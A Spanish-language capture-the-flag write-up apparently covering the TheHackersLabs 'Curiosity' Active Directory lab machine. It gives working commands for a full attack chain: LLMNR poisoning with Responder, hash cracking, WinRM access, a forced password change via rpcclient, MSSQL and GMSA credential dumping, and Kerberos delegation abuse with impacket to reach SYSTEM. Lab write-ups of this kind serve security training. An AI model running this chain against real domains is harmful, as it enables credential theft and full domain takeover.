Introducción
La máquina «Curiosity», ofrecida por la plataforma TheHackersLabs, presenta un entorno simulado de Active Directory especialmente diseñado para poner a prueba diversas técnicas de pentesting y explotación. Este desafío involucra un análisis exhaustivo del dominio, comenzando con enumeraciones iniciales como DNS, RPC y SMB para identificar posibles vectores de ataque.
En la primera fase, utilizamos ataques de envenenamiento LLMNR para interceptar y capturar hashes NTLMv2, los cuales podemos posteriormente crackear para obtener credenciales iniciales y acceso al sistema. A partir de allí, realizamos un reconocimiento avanzado utilizando herramientas como BloodHound, revelando vulnerabilidades críticas que nos permiten abusar de permisos específicos, incluyendo «Force Change Password», lo que facilita el pivote hacia nuevas cuentas dentro del dominio.
Mediante la explotación de fugas de información (Information Leakage) y técnicas como AS-REP Roasting, identificamos y obtenemos nuevos hashes almacenados en bases de datos MSSQL accesibles, permitiendo el acceso a usuarios adicionales tras romper estas contraseñas mediante cracking. Posteriormente, aprovechamos permisos específicos como «ReadGMSAPassword» para extraer hashes de cuentas administradas grupalmente (GMSA).
Finalmente, abusando del permiso «AllowToAct» y mediante técnicas avanzadas como Pass The Ticket (PTT), somos capaces de impersonar al usuario Administrador, obteniendo así control completo sobre el sistema comprometido. La máquina «Curiosity» cubre un amplio rango de técnicas esenciales en entornos Active Directory, destacándose por su enfoque práctico en ataques escalonados, pivoting y explotación avanzada de privilegios dentro de un dominio corporativo.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Curiosity, realizando una enumeración rápida de los servicios disponibles.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | ┌──(kali㉿kali)-[~] └─$ nmap -p- -Pn -n --min-rate 2500 192.168.56.8 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:26 CET Nmap scan report for 192.168.56.8 Host is up (0.00029s latency). Not shown: 65511 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49668/tcp open unknown 49685/tcp open unknown 49686/tcp open unknown 49688/tcp open unknown 49691/tcp open unknown 49703/tcp open unknown 49721/tcp open unknown MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 29.99 seconds |
Una vez listados los puertos de la máquina objetivo, continuamos realizando una enumeración profunda de los servicios activos.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | ┌──(kali㉿kali)-[~] └─$ nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sVC -Pn -n 192.168.56.8 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:27 CET Nmap scan report for 192.168.56.8 Host is up (0.00066s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-19 16:28:03Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC.hackme.thl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl | Not valid before: 2024-10-16T13:11:58 |_Not valid after: 2025-10-16T13:11:58 |_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name) |_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=DC.hackme.thl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl | Not valid before: 2024-10-16T13:11:58 |_Not valid after: 2025-10-16T13:11:58 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name) |_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=DC.hackme.thl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl | Not valid before: 2024-10-16T13:11:58 |_Not valid after: 2025-10-16T13:11:58 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC.hackme.thl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl | Not valid before: 2024-10-16T13:11:58 |_Not valid after: 2025-10-16T13:11:58 |_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: -1s, deviation: 0s, median: -1s | smb2-time: | date: 2025-03-19T16:28:42 |_ start_date: 2025-03-19T16:25:36 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.73 seconds |
Añadimos el nombre del dominio y del controlador al fichero /etc/host:
1 2 3 | ┌──(kali㉿kali)-[~] └─$ echo '192.168.56.8 DC.hackme.thl hackme.thl' | sudo tee -a /etc/hosts 192.168.56.8 DC.hackme.thl hackme.thl |
Enumeración de Kerberos
Utilizaremos para ello la herramienta kerbrute
1 | ./kerbrute_linux_amd64 userenum --dc 192.168.56.8 -d hackme.thl 'SecLists/Usernames/xato-net-10-million-usernames-dup.txt' |

Pero no pudimos encontrar la contraseña con el diccionario rockyou
Envenenamiento de red
Otro ataque que podemos realizar es el envenenamiento de red con el que vamos a tratar de obtener hashes NTLM de usuarios del sistema.
1 | sudo responder -I eth2 |

Copiamos el hash en un archivo txt y desciframos con john
1 | john --wordlist=/home/kali/Downloads/rockyou.txt hash2 |

Enumeración SMB
Ahora que hemos obtenido credenciales del objetivo, vamos a tratar de obtener información del obejtivo a través del servicio SMB.
1 | nxc smb 192.168.56.8 -u jdoe -p '...' --shares |

1 | enum4linux-ng -A 192.168.56.8 -u 'jdoe' -p '$pr1ng@' |

Localizamos unas segundas credenciales para el usuario osama.
Acceso al sistema. Explotación.
En la fase de enumeración hemos localizado unas credenciales para el usuario «jdoe». Vamos a probar para que servicios son válidas estas credenciales.
1 2 | nxc winrm 192.168.56.8 -u jdoe -p '...' nxc smb 192.168.56.8 -u jdoe -p '...' |

Comprobamos que tenemos conexión a través de WinRM.
1 | evil-winrm -i 192.168.56.8 -u jdoe -p '...' |

Obtenemos el acceso a la máquina Curiosity y la flag de usuario con bajos privilegios.
# Pivotando a usuario dba_adm
Una vez hemos obtenido el acceso al sistema, vamos a continuar el camino hacia el control total del objetivo.
Vamos a enumerar el contenido del dominio. Para ello, utilizaremos la herramienta bloodhound-python

Haciendo un poco de enumeración para el usuario jdoe, vemos que pertenece al grupo IT Admins

Comprobamos que los usuarios pertenecientes a este grupo pueden cambiar la contraseña del usuario dba_admn.

Para cambiar la contraseña del usuario dba_adm vamos a utilizar rpcclient, utilziando para ello las credenciales del usuario jdoe y el módulo setuserinfo2.
1 | rpcclient -U hackme.thl/jdoe 192.168.56.8 |

Ahora vamos a conectarnos como usuario dba_adm con la nueva contraseña aprovechando el servicio de winrm.
Pivotando a usuario sqlsvc
El nombre de este usuario parece indica que es administrador de bases de datos. Vamos a tratar de conectarnos al servidor MSSQL de forma local. Primero comprobaremos en registro si existe dicho servicio:
1 | reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" |

A continuación, procedemos a conectarnos al servicio
1 | sqlcmd -S DC\SQLEXPRESS -E -Q "SELECT name FROM sys.databases" |

Y solicitamos que nos muestre la información de Credentials

Copiamos el hash localizado y vamos a tratar de descifrarlo con john.
Como desconocemos en el diccionario donde se encuentra la password, vamos a utilizar el siguiente comando bash para ello
1 | for dict in /home/kali/Music/herramientas/SecLists/Passwords/Leaked-Databases/*.txt; do john --format=raw-md5 --wordlist="$dict" sqlsvc.hash; done |

Localizamos la contraseña del usuario sqlsvc

Pivondo a usuario GMSA_SVC$



Analizando privilegios y grupos, vemos que el usuario sqlsvc pertenece al grupo GMSA_USERS y que este grupo tiene como privilegio que sus miembros pueden leer la contraseña del usuario GMSA_SVC$
Vamos a tratar de volcar esta contraseña, utilizando para ello la herramienta nxc.
1 | nxc ldap 192.168.56.8 -u 'hackme.thl\sqlsvc' -p 'P@ssword1234!' --gmsa |

Volviendo a BloodHound

Vemos que el usuario GMSA_SVC$ tiene el privilegio AllowedToAct sobre el domain controller, lo cual nos va a permitir actuar en nombre de otro usuario.
Escalada de privilegios
El primer paso para la escalada de privilegios será obtener el TGT del usuario GMSA_SVC$
1 | impacket-getTGT -dc-ip 192.168.56.8 -hashes ':89a..' 'hackme.thl/GMSA_SVC$' |
Exportamos el ticket
1 | export KRB5CCNAME=/home/kali/Desktop/curiosity/GMSA_SVC\$.ccache |

A continuación, con la herramienta impacket-getST obtendremos el TGT de administrador.
1 | impacket-getST 'hackme.thl/GMSA_SVC$' -spn www/dc.hackme.thl -k -no-pass -impersonate administrator |

Exportamos el ticket de usuario administrator
1 | export KRB5CCNAME=/home/kali/Desktop/curiosity/administrator@www_dc.hackme.thl@HACKME.THL.ccache |
Y accedemos al sistema como usuario administrator con privilegios NT SYSTEM
1 | impacket-psexec administrator@dc.hackme.thl -k -no-pass |

No responses yet